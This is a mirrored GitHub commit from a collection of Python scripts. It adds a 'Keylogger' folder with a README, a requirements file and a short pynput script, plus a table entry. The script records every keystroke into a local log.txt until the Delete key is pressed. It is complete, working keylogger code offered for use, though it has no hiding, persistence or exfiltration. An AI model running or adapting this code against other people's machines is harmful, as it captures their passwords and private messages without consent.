mirror of
https://github.com/hastagAB/Awesome-Python-Scripts.git
synced 2024-11-23 20:11:07 +00:00
commit
18fee78cb5
20
Keylogger/README.md
Normal file
20
Keylogger/README.md
Normal file
|
@ -0,0 +1,20 @@
|
|||
# Keylogger
|
||||
A script written in Python that logs your input from the keyboard.
|
||||
|
||||
|
||||
### Steps to run this on terminal
|
||||
|
||||
- Clone the project.
|
||||
- Install the dependencies listed in requirements.txt.
|
||||
- Run `python keylogger.py` in your terminal.
|
||||
|
||||
|
||||
### PS
|
||||
|
||||
- You can use Delete key to exit the script.
|
||||
- You can open log.txt to view your log.
|
||||
|
||||
|
||||
### Author
|
||||
|
||||
**[Preet Mishra](https://www.github.com/preetmishra)**
|
13
Keylogger/requirements.txt
Normal file
13
Keylogger/requirements.txt
Normal file
|
@ -0,0 +1,13 @@
|
|||
astroid==2.1.0
|
||||
autopep8==1.4.3
|
||||
certifi==2019.9.11
|
||||
colorama==0.4.1
|
||||
isort==4.3.4
|
||||
lazy-object-proxy==1.3.1
|
||||
mccabe==0.6.1
|
||||
pycodestyle==2.4.0
|
||||
pylint==2.2.2
|
||||
pynput==1.4.4
|
||||
six==1.12.0
|
||||
wincertstore==0.2
|
||||
wrapt==1.10.11
|
29
Keylogger/script.py
Normal file
29
Keylogger/script.py
Normal file
|
@ -0,0 +1,29 @@
|
|||
import pynput
|
||||
from pynput.keyboard import Key, Listener
|
||||
|
||||
|
||||
keys = []
|
||||
|
||||
|
||||
def on_press(key):
|
||||
keys.append(key)
|
||||
write_file(keys)
|
||||
|
||||
|
||||
def write_file(keys):
|
||||
with open('log.txt', 'w') as f:
|
||||
for key in keys:
|
||||
#removing ''
|
||||
k = str(key).replace("'", "")
|
||||
f.write(k)
|
||||
#explicitly adding a space after every keystroke for readability
|
||||
f.write(' ')
|
||||
|
||||
|
||||
def on_release(key):
|
||||
if key == Key.delete:
|
||||
return False
|
||||
|
||||
|
||||
with Listener(on_press = on_press, on_release = on_release) as listener:
|
||||
listener.join()
|
|
@ -36,6 +36,7 @@ So far, the following projects have been integrated to this repo:
|
|||
|[Image circle formatter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Image-Circulator) |[Berk Gureken](https://github.com/bureken) |
|
||||
|[Image To PDF](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/images2pdf)|[msaoudallah](https://github.com/msaoudallah)|
|
||||
|[Instadp Web Scrapper](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/InstadpShower)|[Psychiquest](https://github.com/psychiquest)|
|
||||
|[Keylogger](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Keylogger) |[Preet Mishra](https://github.com/preetmishra) |
|
||||
|[Minecraft Server in background](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Minecraft_server_in_background)|[Max von Forell](https://github.com/mvforell)|
|
||||
|[Own IP locator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Location_Of_Own_IP_Adress)|[Chris]()|
|
||||
|[Port Scanner](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Port_Scanner)|[Plutoberth](https://github.com/Plutoberth)|
|
||||
|
|
Loading…
Reference in New Issue
Block a user